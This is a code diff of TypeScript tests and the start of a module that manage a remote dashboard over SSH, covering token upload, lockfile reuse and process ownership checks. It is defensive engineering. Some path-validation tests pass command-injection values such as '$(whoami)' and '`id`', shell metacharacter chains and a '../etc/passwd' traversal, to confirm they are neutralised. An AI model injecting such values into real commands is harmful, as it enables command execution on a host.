+test('READY_RE accepts both serve and dashboard sentinels', () => {
+  assert.equal(READY_RE.exec('CLAWCODEX_BACKEND_READY port=4321')?.[1], '4321')
+  assert.equal(READY_RE.exec('CLAWCODEX_DASHBOARD_READY port=8765')?.[1], '8765')
+})
+
+test('spawnRemoteDashboard rejects when no pid is returned', async () => {
+  const ssh = fakeSsh([
+    [/grep -q ssh-session-token-file/, 'YES\n'],
+    [/python3 -c/, ''],
+    [/printf '%s\\n'/, ''],
+    [/setsid|nohup/, 'not-a-pid']
+  ])
+
+  await assert.rejects(
+    () => spawnRemoteDashboard(ssh, { clawcodexPath: '/x/clawcodex', profile: '', token: 't', ownershipId: OWNERSHIP_ID }),
+    (err: any) => {
+      assert.equal(err.kind, 'spawn-failed')
+
+      return true
+    }
+  )
+})
+
+test('scrapeReadyPort reads only the named spawn log', async () => {
+  const logPath = spawnLogPath(OWNERSHIP_ID, SPAWN_NONCE)
+  const ssh = fakeSsh([[/cat/, 'some noise\nCLAWCODEX_DASHBOARD_READY port=51234\n']])
+  const port = await scrapeReadyPort(ssh, logPath, { timeoutMs: 1000 })
+  assert.equal(port, 51234)
+  assert.ok(ssh.calls.every(call => !call.includes('desktop-ssh.log')))
+})
+
+test('scrapeReadyPort times out and reports a dead spawn', async () => {
+  // never emits a READY line
+  const ssh = fakeSsh([[/cat .*\.log/, 'still starting...']])
+  await assert.rejects(
+    () => scrapeReadyPort(ssh, spawnLogPath(OWNERSHIP_ID, SPAWN_NONCE), { timeoutMs: 60 }),
+    (err: any) => {
+      assert.equal(err.kind, 'ready-timeout')
+
+      return true
+    }
+  )
+  // dead process before announcement → spawn-failed
+  await assert.rejects(
+    () =>
+      scrapeReadyPort(fakeSsh([[/cat/, '']]), spawnLogPath(OWNERSHIP_ID, SPAWN_NONCE), {
+        timeoutMs: 1000,
+        isAlive: async () => false
+      }),
+    (err: any) => {
+      assert.equal(err.kind, 'spawn-failed')
+
+      return true
+    }
+  )
+})
+
+function connectDeps(ssh, over: any = {}) {
+  return {
+    ssh,
+    ownershipId: OWNERSHIP_ID,
+    profile: '',
+    forward: async () => {},
+    cancelForward: async () => {},
+    pickLocalPort: async () => 50001,
+    waitForClawCodex: async () => {},
+    probeReuseProof: async () => 'authenticated-ok',
+    adoptServedToken: async (_baseUrl, spawn) => spawn || 'served-token',
+    rememberLog: () => {},
+    readyTimeoutMs: 2000,
+    ...over
+  }
+}
+
+test('connect() spawns fresh when there is no lockfile, adopts the served token', async () => {
+  const ssh = fakeSsh([
+    [/uname/, 'Linux\nx86_64'],
+    [/\[ -x/, 'OK'],
+    [/cat .*lock\.json/, ''], // no lockfile
+    [/grep -q ssh-session-token-file/, 'YES\n'],
+    [/python3 -c/, ''], // token file write
+    [/printf '%s\\n'/, ''],
+    [/setsid/, '777\n'],
+    [/kill -0 777/, 'ALIVE'],
+    [/cat .*\.log/, 'CLAWCODEX_DASHBOARD_READY port=51999\n']
+  ])
+
+  const result = await connect(connectDeps(ssh, { adoptServedToken: async () => 'the-served-token' }))
+  assert.equal(result.reused, false)
+  assert.equal(result.remotePort, 51999)
+  assert.equal(result.localPort, 50001)
+  assert.equal(result.pid, 777)
+  assert.equal(result.token, 'the-served-token')
+  assert.equal(result.baseUrl, 'http://127.0.0.1:50001')
+  assert.equal(result.tokenFingerprint, fingerprintToken('the-served-token'))
+})
+
+test('managed SSH maps a local scope to a different non-default remote profile', async () => {
+  const localScope = 'work'
+
+  const sshConfig = profileSshOverride(
+    {
+      profiles: {
+        [localScope]: {
+          mode: 'ssh',
+          host: 'remote-box',
+          remoteProfile: 'writer_2'
+        }
+      }
+    },
+    localScope
+  )
+
+  assert.equal(sshConfig?.remoteProfile, 'writer_2')
+
+  const ssh = fakeSsh([
+    [/uname/, 'Linux\nx86_64'],
+    [/\[ -x/, 'OK'],
+    [/cat .*lock\.json/, ''],
+    [/grep -q ssh-session-token-file/, 'YES\n'],
+    [/python3 -c/, ''],
+    [/printf '%s\\n'/, ''],
+    [/setsid/, '778\n'],
+    [/kill -0 778/, 'ALIVE'],
+    [/cat .*\.log/, 'CLAWCODEX_BACKEND_READY port=52000\n']
+  ])
+
+  await connect(
+    connectDeps(ssh, {
+      profile: sshConfig?.remoteProfile,
+      adoptServedToken: async () => 'mapped-profile-token'
+    })
+  )
+
+  const spawn = ssh.calls.find(command => /setsid|nohup/.test(command)) || ''
+  assert.match(spawn, /--profile\b/)
+  assert.ok(spawn.includes('writer_2'))
+  assert.match(spawn, /serve\s+--isolated/)
+  assert.match(spawn, /\.clawcodex\/desktop-ssh\/[0-9a-f]{32}\/[0-9a-f]{16}\.token/)
+  assert.ok(!spawn.includes(' work'), 'the local Desktop scope must not become the remote profile')
+})
+
+test('connect() reuses a healthy dashboard when fingerprint + probe pass', async () => {
+  const reuseToken = 'stored-token'
+  const lock = ownedLock({ tokenFingerprint: fingerprintToken(reuseToken) })
+
+  const ssh = fakeSsh([
+    [/uname/, 'Linux\nx86_64'],
+    [/\[ -x/, 'OK'],
+    [/cat .*lock\.json/, JSON.stringify(lock)],
+    [/kill -0/, 'ALIVE'],
+    [/print\("OWNED"/, 'OWNED\n']
+  ])
+
+  const result = await connect(connectDeps(ssh, { reuseToken, adoptServedToken: async (_b, t) => t }))
+  assert.equal(result.reused, true)
+  assert.equal(result.pid, 333)
+  assert.equal(result.remotePort, 40000)
+  // never spawned
+  assert.ok(!ssh.calls.some(c => /setsid/.test(c)), 'reuse path must not spawn a new dashboard')
+})
+
+test('connect() respawns when the requested remote profile differs from the lockfile profile', async () => {
+  const reuseToken = 'stored-token'
+  const lock = ownedLock({ profile: 'desktop-work', tokenFingerprint: fingerprintToken(reuseToken) })
+
+  const ssh = fakeSsh([
+    [/uname/, 'Linux\nx86_64'],
+    [/\[ -x/, 'OK'],
+    [/cat .*lock\.json/, JSON.stringify(lock)],
+    [/kill -0 333/, 'ALIVE'],
+    [/print\("OWNED"/, 'OWNED\n'],
+    [/kill 333/, ''],
+    [/--version/, 'ClawCodex v0.18.2\n'],
+    [/grep -q ssh-session-token-file/, 'YES\n'],
+    [/python3 -c/, ''],
+    [/setsid/, '890\n'],
+    [/kill -0 890/, 'ALIVE'],
+    [/cat .*\.log/, 'CLAWCODEX_DASHBOARD_READY port=52050\n']
+  ])
+
+  const result = await connect(
+    connectDeps(ssh, { profile: 'default', reuseToken, adoptServedToken: async () => 'fresh' })
+  )
+
+  assert.equal(result.reused, false)
+  assert.ok(
+    ssh.calls.some(c => /setsid/.test(c)),
+    'profile mismatch must spawn a fresh dashboard'
+  )
+})
+
+test('connect() respawns when the lockfile clawcodexPath differs from the resolved path', async () => {
+  const reuseToken = 'stored-token'
+  const lock = ownedLock({ clawcodexPath: '/old/stale/clawcodex', tokenFingerprint: fingerprintToken(reuseToken) })
+
+  const ssh = fakeSsh([
+    [/uname/, 'Linux\nx86_64'],
+    [/\[ -x/, 'OK'],
+    [/cat .*lock\.json/, JSON.stringify(lock)],
+    [/kill -0/, 'ALIVE'],
+    [/print\("OWNED"/, 'FOREIGN\n'],
+    [/--version/, 'ClawCodex v0.18.2\n'],
+    [/grep -q ssh-session-token-file/, 'YES\n'],
+    [/python3 -c/, ''],
+    [/setsid/, '890\n'],
+    [/cat .*\.log/, 'CLAWCODEX_DASHBOARD_READY port=52050\n']
+  ])
+
+  const result = await connect(
+    connectDeps(ssh, { reuseToken, remoteClawCodexPath: '/new/clawcodex', adoptServedToken: async () => 'fresh' })
+  )
+
+  assert.equal(result.reused, false, 'must respawn, not reuse the old-path dashboard')
+  assert.ok(
+    ssh.calls.some(c => /setsid/.test(c)),
+    'a fresh dashboard must be spawned'
+  )
+})
+
+test('connect() respawns when the lockfile protocolVersion is incompatible', async () => {
+  const reuseToken = 'stored-token'
+
+  const lock = {
+    schemaVersion: LOCKFILE_SCHEMA_VERSION,
+    protocolVersion: PROTOCOL_VERSION + 99,
+    pid: 333,
+    port: 40000,
+    tokenFingerprint: fingerprintToken(reuseToken)
+  }
+
+  const ssh = fakeSsh([
+    [/uname/, 'Linux\nx86_64'],
+    [/\[ -x/, 'OK'],
+    [/cat .*lock\.json/, JSON.stringify(lock)],
+    [/kill -0 333/, 'ALIVE'],
+    [/print\("OWNED"/, 'FOREIGN\n'],
+    [/grep -q ssh-session-token-file/, 'YES\n'],
+    [/python3 -c/, ''],
+    [/setsid/, '901\n'],
+    [/kill -0 901/, 'ALIVE'],
+    [/cat .*\.log/, 'CLAWCODEX_DASHBOARD_READY port=44100\n']
+  ])
+
+  const result = await connect(connectDeps(ssh, { reuseToken, adoptServedToken: async () => 'fresh' }))
+  assert.equal(result.reused, false, 'incompatible protocol must force a fresh spawn, not a reattach')
+  assert.equal(result.pid, 901)
+})
+
+test('connect() fresh spawn writes clawcodexHome + protocolVersion into the lockfile', async () => {
+  const writes: string[] = []
+
+  const ssh = fakeSsh([
+    [/uname/, 'Linux\nx86_64'],
+    [/\[ -x/, 'OK'],
+    [/cat .*lock\.json/, ''], // no lockfile
+    [/CLAWCODEX_CONFIG_DIR/, '/home/alice/.clawcodex\n'],
+    [/grep -q ssh-session-token-file/, 'YES\n'],
+    [/python3 -c/, ''],
+    [/printf '%s\\n'/, ''],
+    [/setsid/, '700\n'],
+    [/kill -0 700/, 'ALIVE'],
+    [/cat .*\.log/, 'CLAWCODEX_DASHBOARD_READY port=45500\n'],
+    [
+      /printf '%s' '/,
+      c => {
+        writes.push(c)
+
+        return ''
+      }
+    ]
+  ])
+
+  await connect(connectDeps(ssh, { adoptServedToken: async () => 'fresh' }))
+  const lockWrite = writes.find(c => c.includes('schemaVersion')) || ''
+  assert.match(lockWrite, new RegExp(`"protocolVersion":${PROTOCOL_VERSION}`))
+  assert.match(lockWrite, /"clawcodexHome":"\/home\/alice\/\.clawcodex"/)
+})
+
+test('connect() respawns when the lockfile pid is dead (killed dashboard)', async () => {
+  const lock = ownedLock({ tokenFingerprint: fingerprintToken('t') })
+
+  const ssh = fakeSsh([
+    [/uname/, 'Linux\nx86_64'],
+    [/\[ -x/, 'OK'],
+    [/cat .*lock\.json/, JSON.stringify(lock)],
+    [/kill -0 333/, 'DEAD'],
+    [/print\("OWNED"/, 'FOREIGN\n'],
+    [/grep -q ssh-session-token-file/, 'YES\n'],
+    [/python3 -c/, ''],
+    [/setsid/, '888\n'],
+    [/kill -0 888/, 'ALIVE'],
+    [/cat .*\.log/, 'CLAWCODEX_DASHBOARD_READY port=42000\n']
+  ])
+
+  const result = await connect(connectDeps(ssh, { reuseToken: 't', adoptServedToken: async () => 'fresh' }))
+  assert.equal(result.reused, false)
+  assert.equal(result.pid, 888)
+  assert.equal(result.remotePort, 42000)
+  assert.ok(
+    !ssh.calls.some(command => command.includes('pid=333') && command.includes('print("OWNED"')),
+    'a dead pid has no process identity to verify'
+  )
+})
+
+test('connect() respawns when the dashboard is wedged (alive pid, probe fails)', async () => {
+  const reuseToken = 'stored'
+
+  const lock = {
+    schemaVersion: LOCKFILE_SCHEMA_VERSION,
+    protocolVersion: PROTOCOL_VERSION,
+    pid: 333,
+    port: 40000,
+    tokenFingerprint: fingerprintToken(reuseToken)
+  }
+
+  const ssh = fakeSsh([
+    [/uname/, 'Linux\nx86_64'],
+    [/\[ -x/, 'OK'],
+    [/cat .*lock\.json/, JSON.stringify(lock)],
+    [/kill -0/, 'ALIVE'],
+    [/print\("OWNED"/, 'FOREIGN\n'],
+    [/grep -q ssh-session-token-file/, 'YES\n'],
+    [/python3 -c/, ''],
+    [/setsid/, '999\n'],
+    [/kill -0 999/, 'ALIVE'],
+    [/cat .*\.log/, 'CLAWCODEX_DASHBOARD_READY port=43000\n']
+  ])
+
+  const result = await connect(
+    connectDeps(ssh, {
+      reuseToken,
+      probeReuseProof: async () => 'authenticated-stale',
+      adoptServedToken: async () => 'fresh'
+    })
+  )
+
+  assert.equal(result.reused, false)
+  assert.equal(result.pid, 999)
+  assert.equal(result.remotePort, 43000)
+})
+
+test('connect() aborts on an unsupported remote platform before doing anything else', async () => {
+  const ssh = fakeSsh([[/uname/, 'SunOS\nsun4v']])
+  await assert.rejects(
+    () => connect(connectDeps(ssh)),
+    (err: any) => {
+      assert.equal(err.kind, 'unsupported-platform')
+
+      return true
+    }
+  )
+  assert.ok(!ssh.calls.some(c => /setsid/.test(c)))
+})
+
+test('openForward retries bind collisions only', async () => {
+  const ports = [41001, 41002]
+  const calls: number[] = []
+
+  const localPort = await openForward(
+    {
+      pickLocalPort: async () => ports.shift(),
+      forward: async port => {
+        calls.push(port)
+
+        if (calls.length === 1) {
+          throw new Error('bind: Address already in use')
+        }
+      }
+    },
+    9119
+  )
+
+  assert.equal(localPort, 41002)
+  assert.deepEqual(calls, [41001, 41002])
+  assert.equal(isForwardBindCollision(new Error('Permission denied')), false)
+})
+
+test('connect() preserves an owned backend when a reuse transport throws', async () => {
+  const reuseToken = 'stored-token'
+  const lock = ownedLock({ tokenFingerprint: fingerprintToken(reuseToken) })
+
+  const ssh = fakeSsh([
+    [/uname/, 'Linux\nx86_64'],
+    [/\[ -x/, 'OK'],
+    [/cat .*lock\.json/, JSON.stringify(lock)],
+    [/kill -0/, 'ALIVE'],
+    [/print\("OWNED"/, 'OWNED\n']
+  ])
+
+  await assert.rejects(
+    () =>
+      connect(
+        connectDeps(ssh, {
+          reuseToken,
+          forward: async () => {
+            throw new Error('network reset')
+          }
+        })
+      ),
+    /network reset/
+  )
+  assert.ok(!ssh.calls.some(cmd => /kill 333\b/.test(cmd)))
+})
+
+test('validateRemotePath accepts absolute POSIX paths', () => {
+  assert.doesNotThrow(() => validateRemotePath('/usr/bin/clawcodex'))
+  assert.doesNotThrow(() => validateRemotePath('/home/user/.clawcodex/clawcodex/venv/bin/clawcodex'))
+})
+
+test('validateRemotePath accepts ~/ prefix paths', () => {
+  assert.doesNotThrow(() => validateRemotePath('~/bin/clawcodex'))
+  assert.doesNotThrow(() => validateRemotePath('~/.clawcodex/logs/desktop-ssh.log'))
+  assert.doesNotThrow(() => validateRemotePath('~'))
+})
+
+test('validateRemotePath accepts paths with spaces and quotes', () => {
+  assert.doesNotThrow(() => validateRemotePath('/home/user/my project/clawcodex'))
+  assert.doesNotThrow(() => validateRemotePath("~/path with 'quotes'/file"))
+  assert.doesNotThrow(() => validateRemotePath('/path with "double quotes"/file'))
+})
+
+test('validateRemotePath rejects relative paths', () => {
+  assert.throws(() => validateRemotePath('clawcodex'), /absolute|relative/i)
+  assert.throws(() => validateRemotePath('./bin/clawcodex'), /absolute|relative/i)
+  assert.throws(() => validateRemotePath('../etc/passwd'), /absolute|relative/i)
+})
+
+test('validateRemotePath rejects NUL and newline', () => {
+  assert.throws(() => validateRemotePath('/usr/bin/clawcodex\x00'), /unsafe/i)
+  assert.throws(() => validateRemotePath('/usr/bin/clawcodex\n'), /unsafe/i)
+  assert.throws(() => validateRemotePath('/usr/bin/clawcodex\r'), /unsafe/i)
+})
+
+test('validateRemotePath preserves shell metacharacters as path data', () => {
+  for (const p of ['/usr/$(whoami)/clawcodex', '/usr/`id`/clawcodex', '/usr/a;b|c&d<e>f']) {
+    assert.doesNotThrow(() => validateRemotePath(p))
+    assert.match(expandRemotePath(p), /^'/)
+  }
+})
+
+test('expandRemotePath expands ~/ to "$HOME"/', () => {
+  const result = expandRemotePath('~/.clawcodex/logs/desktop-ssh.log')
+  assert.match(result, /\$HOME/)
+  assert.ok(!result.includes('eval'), 'must not use eval')
+  assert.ok(!result.includes('echo'), 'must not use echo for expansion')
+})
+
+test('expandRemotePath returns quoted absolute paths unchanged', () => {
+  const result = expandRemotePath('/usr/local/bin/clawcodex')
+  assert.ok(result.includes('/usr/local/bin/clawcodex'))
+  assert.ok(!result.includes('eval'))
+})
+
+test('expandRemotePath preserves spaces as data', () => {
+  const result = expandRemotePath('/home/user/my project/clawcodex')
+  assert.ok(result.includes('my project'), 'spaces must be preserved, not split')
+})
+
+test('buildSpawnCommand does not embed the token in the command string', () => {
+  const cmd = buildSpawnCommand('/x/clawcodex', 'work', { logPath: spawnLogPath(OWNERSHIP_ID, SPAWN_NONCE) })
+  assert.ok(!cmd.includes('super_secret_token_value'), 'token must not appear in the spawn command')
+  assert.ok(!cmd.includes('CLAWCODEX_DASHBOARD_SESSION_TOKEN'), 'env var name must not appear')
+})
+
+test('buildSpawnCommand includes --ssh-session-token-file when tokenFilePath is provided', () => {
+  const cmd = buildSpawnCommand('/x/clawcodex', 'work', {
+    tokenFilePath: `~/.clawcodex/desktop-ssh/${OWNERSHIP_ID}/${SPAWN_NONCE}.token`,
+    logPath: spawnLogPath(OWNERSHIP_ID, SPAWN_NONCE),
+    spawnNonce: SPAWN_NONCE
+  })
+
+  assert.match(cmd, /--ssh-session-token-file/)
+  assert.match(cmd, /\.clawcodex\/desktop-ssh\//)
+})
+
+test('buildSpawnCommand always uses serve, never dashboard', () => {
+  const cmd = buildSpawnCommand('/x/clawcodex', '', { logPath: spawnLogPath(OWNERSHIP_ID, SPAWN_NONCE) })
+  assert.match(cmd, /serve --isolated/)
+  assert.doesNotMatch(cmd, /\bdashboard\b/)
+  assert.doesNotMatch(cmd, /--skip-build/)
+  assert.doesNotMatch(cmd, /--no-open/)
+})
+
+test('spawnRemoteDashboard removes a token file when upload reporting fails', async () => {
+  const failure = new Error('channel closed')
+
+  const ssh = fakeSsh([
+    [/grep -q ssh-session-token-file/, 'YES\n'],
+    [command => /python3 -c/.test(command) && !/rm -f/.test(command), failure],
+    [/rm -f/, '']
+  ])
+
+  await assert.rejects(
+    () => spawnRemoteDashboard(ssh, { clawcodexPath: '/x/clawcodex', profile: '', token: 'tok', ownershipId: OWNERSHIP_ID }),
+    /channel closed/
+  )
+  assert.ok(ssh.calls.some(command => /rm -f .*\.token/.test(command)))
+})
+
+test('spawnRemoteDashboard streams the token over stdin, not argv/env', async () => {
+  const stdinCalls: string[] = []
+  const calls: string[] = []
+
+  const ssh = {
+    calls,
+    async exec(cmd, opts?) {
+      calls.push(cmd)
+
+      if (opts?.stdinData) {
+        stdinCalls.push(opts.stdinData)
+      }
+
+      if (/grep -q ssh-session-token-file/.test(cmd)) {
+        return 'YES\n'
+      }
+
+      if (/python3 -c/.test(cmd)) {
+        return ''
+      }
+
+      if (/setsid|nohup/.test(cmd)) {
+        return '4242\n'
+      }
+
+      if (/printf '%s\\n'/.test(cmd)) {
+        return ''
+      }
+
+      return ''
+    }
+  }
+
+  const { pid } = await spawnRemoteDashboard(ssh as any, {
+    clawcodexPath: '/x/clawcodex',
+    profile: '',
+    token: 'secret_token_val',
+    ownershipId: OWNERSHIP_ID
+  })
+
+  assert.equal(pid, 4242)
+  assert.ok(stdinCalls.length > 0, 'token must be sent via stdin')
+  assert.ok(
+    stdinCalls.some(d => d === 'secret_token_val'),
+    'stdin must contain the token'
+  )
+
+  for (const cmd of calls) {
+    assert.ok(!cmd.includes('secret_token_val'), `token leaked into command: ${cmd}`)
+  }
+})
+
+test('spawnRemoteDashboard upload uses exclusive-create and O_NOFOLLOW', async () => {
+  const calls: string[] = []
+
+  const ssh = {
+    calls,
+    async exec(cmd, opts?) {
+      calls.push(cmd)
+
+      if (/grep -q ssh-session-token-file/.test(cmd)) {
+        return 'YES\n'
+      }
+
+      if (/python3 -c/.test(cmd)) {
+        return ''
+      }
+
+      if (/setsid|nohup/.test(cmd)) {
+        return '4242\n'
+      }
+
+      if (/printf '%s\\n'/.test(cmd)) {
+        return ''
+      }
+
+      return ''
+    }
+  }
+
+  await spawnRemoteDashboard(ssh as any, {
+    clawcodexPath: '/x/clawcodex',
+    profile: '',
+    token: 'tk',
+    ownershipId: OWNERSHIP_ID
+  })
+  const uploadCmd = calls.find(c => /python3 -c/.test(c))
+  assert.ok(uploadCmd, 'must use python3 -c for token upload')
+  assert.match(uploadCmd, /O_EXCL/, 'upload must use O_EXCL to reject existing files')
+  assert.match(uploadCmd, /O_NOFOLLOW/, 'upload must use O_NOFOLLOW to reject symlinks')
+  assert.match(uploadCmd, /O_WRONLY/, 'upload must open write-only')
+  assert.match(uploadCmd, /dir_fd=dd/, 'upload must create relative to the opened parent directory')
+  assert.match(uploadCmd, /os\.fstat\(dd\)/, 'upload must validate the opened parent directory')
+  assert.ok(!uploadCmd.includes('tk'), 'token must not appear in the upload command')
+})
+
+test('readLockfile rejects lock with non-integer pid', async () => {
+  const lock = { schemaVersion: LOCKFILE_SCHEMA_VERSION, pid: 'not-a-number', port: 8080 }
+  assert.equal(await readLockfile(fakeSsh([[/cat/, JSON.stringify(lock)]]), OWNERSHIP_ID), null)
+})
+
+test('readLockfile rejects lock with pid <= 0', async () => {
+  const lock = { schemaVersion: LOCKFILE_SCHEMA_VERSION, pid: -1, port: 8080 }
+  assert.equal(await readLockfile(fakeSsh([[/cat/, JSON.stringify(lock)]]), OWNERSHIP_ID), null)
+})
+
+test('readLockfile rejects lock with port out of range', async () => {
+  const lock = { schemaVersion: LOCKFILE_SCHEMA_VERSION, pid: 100, port: 99999 }
+  assert.equal(await readLockfile(fakeSsh([[/cat/, JSON.stringify(lock)]]), OWNERSHIP_ID), null)
+  const lock2 = { schemaVersion: LOCKFILE_SCHEMA_VERSION, pid: 100, port: 0 }
+  assert.equal(await readLockfile(fakeSsh([[/cat/, JSON.stringify(lock2)]]), OWNERSHIP_ID), null)
+})
+
+test('readLockfile accepts a complete owned lock', async () => {
+  const lock = ownedLock({ pid: 42, port: 51234 })
+  const result = await readLockfile(fakeSsh([[/cat/, JSON.stringify(lock)]]), OWNERSHIP_ID)
+  assert.deepEqual(result, lock)
+})
+
+test('connect() reuse path does not write a token file', async () => {
+  const reuseToken = 'stored-token'
+  const lock = ownedLock({ tokenFingerprint: fingerprintToken(reuseToken) })
+
+  const ssh = fakeSsh([
+    [/uname/, 'Linux\nx86_64'],
+    [/\[ -x/, 'OK'],
+    [/cat .*lock\.json/, JSON.stringify(lock)],
+    [/kill -0/, 'ALIVE'],
+    [/print\("OWNED"/, 'OWNED\n']
+  ])
+
+  const result = await connect(connectDeps(ssh, { reuseToken, adoptServedToken: async (_b, t) => t }))
+  assert.equal(result.reused, true)
+  assert.ok(!ssh.calls.some(c => /sys\.stdin\.buffer\.read/.test(c)), 'reuse must not upload a token file')
+})
+
+test('spawnRemoteDashboard fails with update-required when remote lacks --ssh-session-token-file', async () => {
+  const ssh = fakeSsh([[/--ssh-session-token-file/, 'NO\n']])
+
+  await assert.rejects(
+    () => spawnRemoteDashboard(ssh, { clawcodexPath: '/x/clawcodex', profile: '', token: 'tk', ownershipId: OWNERSHIP_ID }),
+    (err: any) => {
+      assert.match(err.message, /update|upgrade/i)
+      assert.equal(err.kind, 'update-required')
+
+      return true
+    }
+  )
+})
+
+test('readLockfile rejects a log path outside the exact ownership and spawn path', async () => {
+  const lock = ownedLock({ logPath: '~/.clawcodex/desktop-ssh/other.log' })
+  const ssh = fakeSsh([[/cat .*lock\.json/, JSON.stringify(lock)]])
+  assert.equal(await readLockfile(ssh, OWNERSHIP_ID), null)
+})
+
+test('cleanupStale never deletes a lock-supplied unexpected log path', async () => {
+  const ssh = fakeSsh([[/print\("OWNED"/, 'OWNED\n']])
+  await cleanupStale(ssh, OWNERSHIP_ID, ownedLock({ logPath: '~/.clawcodex/unrelated.log' }))
+  assert.ok(!ssh.calls.some(command => command.includes('unrelated.log')))
+})
+
+test('pidIsOurDashboard requires an exact nonce option value', async () => {
+  const prefix = `/x/clawcodex serve --isolated --ssh-owner-nonce ${SPAWN_NONCE}ff`
+  const suffix = `/x/clawcodex serve --isolated --ssh-owner-nonce xx${SPAWN_NONCE}`
+  assert.equal(await pidIsOurDashboard(fakeSsh([[/print\("OWNED"/, 'FOREIGN\n']]), 5, SPAWN_NONCE, '/x/clawcodex'), false)
+  assert.equal(await pidIsOurDashboard(fakeSsh([[/print\("OWNED"/, 'FOREIGN\n']]), 5, SPAWN_NONCE, '/x/clawcodex'), false)
+})
+
+test('connect removes the token file when a fresh backend fails after returning a pid', async () => {
+  const ssh = fakeSsh([
+    [/uname/, 'Linux\nx86_64'],
+    [/\[ -x/, 'OK'],
+    [/cat .*lock\.json/, ''],
+    [/grep -q ssh-session-token-file/, 'YES\n'],
+    [/python3 -c/, ''],
+    [/setsid/, '999\n'],
+    [/kill -0 999/, 'DEAD']
+  ])
+
+  await assert.rejects(() => connect(connectDeps(ssh)), /exited before announcing/i)
+  assert.ok(ssh.calls.some(command => /rm -f .*\.token/.test(command)))
+})
+
+test('connect preserves an exact-owned backend when reuse proof transport fails', async () => {
+  const reuseToken = 'stored-token'
+  const lock = ownedLock({ tokenFingerprint: fingerprintToken(reuseToken) })
+
+  const ssh = fakeSsh([
+    [/uname/, 'Linux\nx86_64'],
+    [/\[ -x/, 'OK'],
+    [/cat .*lock\.json/, JSON.stringify(lock)],
+    [/kill -0/, 'ALIVE'],
+    [/print\("OWNED"/, 'OWNED\n']
+  ])
+
+  await assert.rejects(
+    () =>
+      connect(
+        connectDeps(ssh, {
+          reuseToken,
+          probeReuseProof: async () => {
+            throw new Error('connection reset')
+          }
+        })
+      ),
+    (error: any) => error.kind === 'transient-transport-error'
+  )
+  assert.ok(!ssh.calls.some(command => /kill 333\b/.test(command)))
+  assert.ok(!ssh.calls.some(command => /rm -f .*backend\.lock\.json/.test(command)))
+})
+
+test('connect replaces an exact-owned backend only after authenticated stale proof', async () => {
+  const reuseToken = 'stored-token'
+  const lock = ownedLock({ tokenFingerprint: fingerprintToken(reuseToken) })
+
+  const ssh = fakeSsh([
+    [/uname/, 'Linux\nx86_64'],
+    [/\[ -x/, 'OK'],
+    [/cat .*lock\.json/, JSON.stringify(lock)],
+    [/kill -0 333/, 'ALIVE'],
+    [/print\("OWNED"/, 'OWNED\n'],
+    [/grep -q ssh-session-token-file/, 'YES\n'],
+    [/python3 -c/, ''],
+    [/setsid/, '999\n'],
+    [/kill -0 999/, 'ALIVE'],
+    [/cat .*\.log/, 'CLAWCODEX_DASHBOARD_READY port=43000\n']
+  ])
+
+  const result = await connect(
+    connectDeps(ssh, {
+      reuseToken,
+      probeReuseProof: async (_baseUrl, token, nonce) => {
+        assert.equal(token, reuseToken)
+        assert.equal(nonce, SPAWN_NONCE)
+
+        return 'authenticated-stale'
+      },
+      adoptServedToken: async () => 'fresh'
+    })
+  )
+
+  assert.equal(result.reused, false)
+  assert.ok(ssh.calls.some(command => /kill 333\b/.test(command)))
+})
+
+test('remote SSH ownership capability requires both secure bootstrap flags', async () => {
+  let helpProbe = ''
+
+  const supported = fakeSsh([
+    [
+      /serve --help/,
+      command => {
+        helpProbe = command
+
+        return 'YES\n'
+      }
+    ]
+  ])
+
+  assert.equal(await remoteSupportsSshOwnership(supported, '/x/clawcodex'), true)
+  assert.match(helpProbe, /ssh-session-token-file/)
+  assert.match(helpProbe, /ssh-owner-nonce/)
+
+  const unsupported = fakeSsh([[/serve --help/, 'NO\n']])
+  assert.equal(await remoteSupportsSshOwnership(unsupported, '/x/clawcodex'), false)
+})
diff --git a/ui-desktop/electron/remote-lifecycle.ts b/ui-desktop/electron/remote-lifecycle.ts
new file mode 100644
index 000000000..50dc5e5c6
--- /dev/null
+++ b/ui-desktop/electron/remote-lifecycle.ts
@@ -0,0 +1,907 @@
+/**
+ * remote-lifecycle.ts
+ *
+ * Pure, electron-free remote ClawCodex dashboard lifecycle over SSH for Desktop
+ * SSH remote mode. Composes an SshConnection (injected) with HTTP probes
+ * through the established tunnel (injected fetch) and the served-token adoption
+ * step (injected). Knows how to:
+ *
+ *   - locate the ClawCodex install on the remote (login-shell probe),
+ *   - gate the remote platform to Linux/macOS via `uname`,
+ *   - reuse an existing desktop-dedicated dashboard via a lockfile + an
+ *     AUTHENTICATED /api/status probe (pid liveness alone is insufficient),
+ *   - spawn a fresh detached `--isolated --port 0` dashboard and scrape its
+ *     `CLAWCODEX_DASHBOARD_READY port=<n>` readiness line,
+ *   - adopt the token the dashboard actually serves (served-token adoption),
+ *   - clean up a stale dashboard only when it is provably ours.
+ *
+ * No `import 'electron'` so it's unit-testable with `node --test`. main.ts wires
+ * the real SshConnection, fetch, adoptServedDashboardToken, and waitForClawCodex in.
+ *
+ * The minted CLAWCODEX_DASHBOARD_SESSION_TOKEN is the SPAWN credential. After
+ * readiness the caller runs served-token adoption against the tunneled baseUrl
+ * and the SERVED token's fingerprint is what lands in the lockfile — so the
+ * reuse probe checks the credential that actually authenticates /api/ws, not
+ * the minted one (which the dashboard may regen).
+ */
+
+import crypto from 'node:crypto'
+
+const LOCKFILE_SCHEMA_VERSION = 2
+// Bumped when the desktop<->dashboard reuse contract changes in a way that makes
+// an old running dashboard unsafe to reattach to (token handling, readiness/spawn
+// args, served-token reconciliation). A mismatch forces a clean respawn.
+const PROTOCOL_VERSION = 1
+const READY_RE = /^CLAWCODEX_(?:BACKEND|DASHBOARD)_READY port=(\d+)/m
+const REMOTE_LOCK_DIR = '~/.clawcodex/desktop-ssh'
+const SUPPORTED_REMOTE_OS = new Set(['Linux', 'Darwin'])
+const DEFAULT_READY_TIMEOUT_MS = 45_000
+const READY_POLL_INTERVAL_MS = 750
+
+function mintToken() {
+  return crypto.randomBytes(32).toString('hex')
+}
+
+// Fingerprint a token for the lockfile — never store the raw secret on the
+// remote. SHA256, truncated.
+function fingerprintToken(token) {
+  return crypto
+    .createHash('sha256')
+    .update(String(token || ''))
+    .digest('hex')
+    .slice(0, 32)
+}
+
+function validateOwnershipId(ownershipId) {
+  const value = String(ownershipId || '')
+
+  if (!/^[0-9a-f]{32}$/.test(value)) {
+    throw new Error('SSH ownership ID is invalid.')
+  }
+
+  return value
+}
+
+function validateSpawnNonce(spawnNonce) {
+  const value = String(spawnNonce || '')
+
+  if (!/^[0-9a-f]{16}$/.test(value)) {
+    throw new Error('SSH spawn nonce is invalid.')
+  }
+
